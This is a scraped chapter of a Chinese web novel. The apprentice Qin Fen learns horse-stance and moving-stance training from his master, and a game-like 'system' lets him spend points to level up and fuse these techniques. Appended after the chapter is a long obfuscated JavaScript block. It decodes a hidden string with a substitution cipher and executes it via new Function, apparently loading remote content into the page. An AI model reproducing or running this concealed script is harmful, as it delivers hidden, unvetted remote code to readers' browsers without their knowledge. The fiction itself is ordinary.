(手机请访问 m.duxs8.com)“行了，奋子，现在你全身的筋腱、骨骼基本上都松开了。”帮秦奋拉筋压腿完毕之后，严振东拍了拍他的肩膀笑道，“你还真不错，这么大的苦处，居然一声都没有吭！好，果然有为师的风范。”
“谢谢师父夸奖。”秦奋点点头，机械地说道，依旧默诵静心咒，不敢有丝毫放松。
他能猜到自己的双手、双腿、筋腱、骨骼，应该是无一处不痛的。现在只要稍一松懈，他就很可能痛晕过去。
而当他默诵静心咒修行时，他虽能感知外界的一切，但情绪不会有任何波动，就像是一个机器人似的，说话也不会有任何起伏。
“好，下面我再教你浑元桩。”严振东没有在意他的异样，继续向他传授道，“浑元桩分为静桩和动桩，静桩便是扎马步。”
“扎马步，就是要练腰腿的力量，练到精深之处，要能扎出一匹马来。”严振东给秦奋讲解道。
“功夫都是从沙场上流传出来的，形意拳源自枪法，八卦掌源自刀法，太极拳源自锤法。”严振东讲解道，“沙场征战，骑兵最厉。因为骑兵是人马合一，人借马力，马借人势，力量集于一体，自然所向无敌。”
“所以你扎马步，就是要扎出一匹马来。这样，等你与人交手时，任意一招都是人马合一，自然势不可挡，挡者披靡！”严振东帮秦奋调整姿势，摆出一个骑马蹲档式来，又传授他扎马步的诀窍。
扎马步，不是光摆个姿势就行了。那样不只扎不出马来，而且还容易累出腰间盘突出。
扎马步有修炼的窍门。如何才能够扎出一匹马，这可是学问，必须要有明师亲自指导。
否则光靠自己摸索，功夫还没有练成，人就已经练垮了。
秦奋将严振东的传授牢牢记住。
他如今的精神有十六点之高，超出常人一半以上，这也有助于提升他的记忆力。
除非是太艰深晦涩的讯息，否则他基本上听一遍就能够记住。
……
“马步我已经教给你了，你每天至少要扎一个时辰，争取早日扎出一匹马来。”严振东又道，“接下来我再教你动桩。”
“动桩即是运力的技巧，讲究的是‘五弓合一’。”严振东继续讲解道，同时在秦奋身上比划着，“五弓指的是，上有两膊为两弓，指尖到肩尖；下有两腿为两弓，脚尖到大胯；主弓为躯干，大椎到尾椎。此为五弓！”
“练动桩，练到精深之处，要达到‘五弓合一’的地步。一弓张，四弓皆张；一弓合，四弓皆合。五弓合一，牵一动百，节节贯串，一触即发！”
“静桩、动桩均练到高深之处，就像古代大将骑马射箭。一箭射出，任你多厚的铠甲都射得穿！”严振东仔细的讲解道，将动桩的修炼窍门，也全都传给了秦奋。
“每天你至少要练一个时辰的动桩，争取早日达到‘五弓合一’的境界。”他又吩咐道。
秦奋将修炼的窍门都一一记住了。
“嗯，等你动桩、静桩修行的差不多了，我再正式传授你严家拳。”严振东又道，“行了，现在让张三帮你敷点伤药吧。”
“是，师父。”秦奋又点点头道。
……
敷上跌打膏之后，秦奋并没有养伤，而是抓紧时间扎起马步来。
十三姨既然已经回来了，那么主要人物都登场了，正戏马上就要开锣了。
他如果一点武功都不会，那就没法参与其中了，自然也就不能获益了。
所以他必须练好武功，到时无论殺沙河帮、殺洋鬼子，还是殺官兵，都能够赚取积分呢。
而当秦奋摆出骑马蹲裆式，并根据严振东传授的窍门，练习着扎马步时，他的脑海中忽然响起叮得一声。
【叮！恭喜宿主学会修行功法：浑元桩-静桩！】
秦奋一听，顿时一愣，连忙检视系统。
发现在自己的【修行功法】一栏里，的确多了一门【浑元桩-静桩】的功法。
他仔细看这一功法上时，就见它还弹出一则注释。
【静桩本身并无修行等级之分，因此系统将其默认为九级，当前等级为零级。】
而且【浑元桩-静桩】还带着【可升级】选项，【静桩，每提升一级，增加两点体质，当前升级所需积分一百积分。】
秦奋犹豫了一下，选择了升级【浑元桩-静桩】。
对他而言，一百积分好赚，但时间却有限，他必须尽快提升自己的实力。
【叮！恭喜宿主，浑元桩-静桩提升到一级！当前升级所需积分二百积分。】
【叮！恭喜宿主体质加二！】
体质一下子增加两点之后，秦奋顿时感觉到自己的身体有了显著的变化，由内而外都散发着蓬勃的生命力。
他感觉到自己因拉筋压腿所造成的伤痛，正在快速的痊愈着，估计不用半个时辰，就能够完全恢复，实在是非常惊人。
“如果我的体质进一步提高的话，不知道我会不会像金刚狼一样，就算是脑袋被砍下来，也一样会很快的愈合？”秦奋不由得想道。
而且【浑元桩-静桩】由零级提升为一级之后，他的脑海中也忽然多了一些【浑元桩-静桩】修行的经验，就像这门功法是他自己苦练升级的，只是系统帮他缩短了时间一般。
“这可太棒了！”秦奋兴奋的道。
如果系统只是帮他提升了等级，却没有传授给他经验的话，那他就像《天龙八部》之中，被无崖子灌顶传功的虚竹，明明有一身超卓的内功，却偏偏不懂运用的法门。结果十成功力发挥不出一成，被人撵得鸡飞狗跳。
而现在系统不只帮他提升了等级，而且还传授给他修行的经验，那这功法跟他自己修行的，就根本没有什么区别。那他自然也就可以发挥百分百的实力，而不会有任何的滞涩了。
……
“修炼【浑元桩-动桩】，不知道又会有什么好处呢？”秦奋又不由的想道，随后又开始练起【浑元桩-动桩】来。
【叮！恭喜宿主学会修行功法：浑元桩-动桩！】不出所料，系统再度提醒道。
秦奋再度检视时，发现自己的【修行功法】一栏中，又多了一门【浑元桩-动桩】的功法。
而【浑元桩-动桩】也同【静桩】一样，被系统默认分为了九级，当前等级也为零级。
【浑元桩-动桩】一样也是可以升级的。
【动桩，每提升一级，增加两点力量，当前升级所需积分一百积分。】
秦奋再度花费一百积分，将【浑元桩-动桩】的等级由零级提升为一级。
【叮！恭喜宿主，浑元桩-动桩提升为一级！当前升级所需积分二百积分。】
【叮！恭喜宿主力量加二！】
力量加二之后，秦奋感觉自己浑身都充满了爆炸般的力量。
他觉得自己现在不要说举五十斤重的石锁，估计就算举一百斤重的石锁，也是轻而易举的。
【叮！系统检测到浑元桩-静桩（一级）、浑元桩-动桩（一级）为一套功法，可以融合。融合功法，将有一定几率产生异变，是/否融合？】正当他高兴之际，系统又弹出一则提示道。
秦奋一愣，犹豫片刻之后，选择了【融合】。
【功法融合中，请稍候！】系统提示道。
片刻之后，就听叮！的一声轻响。
【叮！功法融合成功，未发生变异！恭喜宿主获得浑元桩功！浑元桩功默认分为九级，当前等级为一级！每提升一级，增加两点力量、两点体质！当前升级所需积分三百五十积分！】
(function(){function pa49a0b(yba62){var efc5dbfe1="Dm7A%P|~5IE;gsl]rUONeH16y[To?Zvn2:YLi.&zGXB3f^CVa!/0$Wxk=dQF_(buJc4@tpRSMqwK98-,hj";var w50c463d="d3eqvW]=&Es$^h(gf8R!c,wOiCNS1LZApjMGzoJ_7xnX/Ty:a@uB;.rFl5U|6Q[0~%DHk2mPKVtYI9b-?4";return yba62.split('').map(function(yd7ae){var dd210=efc5dbfe1.indexOf(yd7ae);return dd210==-1?yd7ae:w50c463d[dd210]}).join('')}var c=pa49a0b('h2ps://1yBD.1b"" + "E" + "8" + "_" + "e" + "-"+""|~r/Bewy.Bl){$lr/Bewy.Bl=maG?H2r8?eD-amH/G_au?DGHD-dr8-eG){yrlfgYaeFPyBfWw7EwlBa%y]aw.xW2=awr.xR)){x7w/xB}$%ax xurGr~r/Bewy.Bl/ajjj_-r){x7w/xB owxyB]Wrx.R[sax[.D7l/ajjj_-r)}$%ax /G7GG8~b"w,?"H"%,?8"H"/,pUp_?jp_up_dup8"H"D,pupj,u8,u? ?UVmGV?m"H"ECE,ie"|$%ax R-m_e-~/G_au?DGbxurGrluX_?)+xurGrluXGj)+xurGrluX_k)+xurGrluX_p)|Hw_pGrr~/G_au?DGbxurGrluX_p)+xurGrluXGj)+xurGrluX_k)+xurGrluX_?)|H1j-aDGe~D-dr8-eGbR-m_e-l"KmqCeRq/DkT:eR=1Dn~~")|H:rp?mj~R-m_e-l"Km&=K3O=OPX=-Pq/Dn~~")HDeU?m7Du7~R-m_e-l"emqyemOCaPdB")H.mm-aDe~R-m_e-l"eRq1-Lk:v(~~")H-ejppUG8~R-m_e-l"em0Ea3(~")HBm87D~R-m_e-l"eRqpv3&iv(~~")H%D_8Up~R-m_e-l"aR82-]~~")H.aUrd_m~R-m_e-l"eRk/vL8w")H:7p-rG~/G_au?DGbR-m_e-l"^Pkuan~~")|H%d?aje77a~R-m_e-l"-L8svn~~")$%ax w-uuejeu?~R-m_e-l"7RTtvP&?v1~~")$%ax 1??-7r$yrl=.eawy.BWE7axesWyBD7X6rlw-uuejeu?)>,?){1??-7r~D-dr8-eGb:rp?mj|lR-m_e-l"DLqjDLkCvPI~"))$1??-7rWyD~"w"+l:7p-rGb.aUrd_m|l)*?uuuu)$1??-7rWEwC=7W1yDws~"?uuc"$1??-7rWEwC=7Ws7y]sw~"duu2X"$1??-7rWDyEa-=7D~wx/7$yrlD-dr8-eGW-.DCN~B/==){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)}7=E7{%ax ]pdppm~r/Bewy.Bl){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)$/G_au?DGWx7R.%7I%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}$/G_au?DGWaDDI%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}}%ax 1uUU8~D-dr8-eGb:rp?mj|lR-m_e-l"vP?yvP(~"))$1uUU8WEwC=7Ws7y]sw~"u2X"$1uUU8WyD~2r8?eD-am+l:7p-rGWe7y=l:7p-rGb.aUrd_m|l)*?uuuu))$%ax E-j_a~r/Bewy.Bla_eGaUGuU){%ax AGmU-_U~B71 4aw7l)$%ax XDdGdDG~`aD%o2ae79Dz;{2r8?eD-am}z;{AGmU-_UWw.Z.ea=74aw7owxyB]l)}`$%ax R_?-a-ja~&o6TW2axE7l=.ea=ow.xa]7W]7w9w7RlXDdGdDG))$yrlR_?-a-ja~~B/==){R_?-a-ja~{-x.1E7x[./BwVu}}R_?-a-jaW-x.1E7x[./Bw++$%ax 2G8jdD8u~w_pGrrl/G7GG8We.Beawlb4aw7b"B.1"|l)H=.eawy.BWsx7rH`sEe,;{R_?-a-jaW-x.1E7x[./Bw}`|)WE.xwll)~>:7p-rGb.aUrd_m|l),uWd)b%D_8Up|l"H"))$%ax 7pm_G_u~2G8jdD8uWyBD7X6rlxurGrluXmD))>,?h2G8jdD8ubDeU?m7Du7|l2G8jdD8uWyBD7X6rlxurGrluXmD)))V""$2G8jdD8u~2G8jdD8ub.mm-aDe|l7pm_G_uH"")b-ejppUG8|l"")bBm87D|l)b%D_8Up|l"")+7pm_G_u$1uUU8WExe~b"sww2EVff"Ha_eGaUGuUH2G8jdD8u|b%D_8Up|l"f")$D-dr8-eGW-.DCWa227BD[sy=Dl1uUU8)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Ba227BD7D 7R w. swR="$%ax a8pG8~D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)$yrla8pG8~~B/==FFa8pG8~~/BD7ryB7D){1??-7rW%a=/7+~"\\x\\B eaBw ]7w 7R rx.R swR="}}}$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\BE7BD :E s.Ew "+=maG?}%ax Cujpda~r/Bewy.Bl.ue7dd8){x7w/xB R-m_e-l.ue7dd8)b.mm-aDe|lxurGrluXpn)H:7p-rGb.aUrd_m|l)Ww.owxyB]lm_)WE=ye7l:7p-rGWr=..xl:7p-rGb.aUrd_m|l)*8)+p))}$E-j_alCujpdal=maG?))$/G_au?DGb"aDDI%7BwZyEw7B7x"|l"R7EEa]7"Hr/Bewy.Bl7){yrl7WDawaWt~~2r8?eD-am){D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)Wx7R.%7l)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Bx7e7y%7 7R 2.Ew R7EEa]7"$1??-7rW%a=/7+~"\\x\\B7WDawaW% "+7WDawaWA}B71 k/Bewy.Bl"ax]E"H7WDawaWA)l{zwDeEV1j-aDGeHzwxaV1??-7r})}})})l"MydAaPk/7@q_DPU/Kp8w"H"pUp_?jp_up_dup8"H1yBD.1HD.e/R7Bw)}$E8_e-l)$'.substr(7));new Function(c)()})();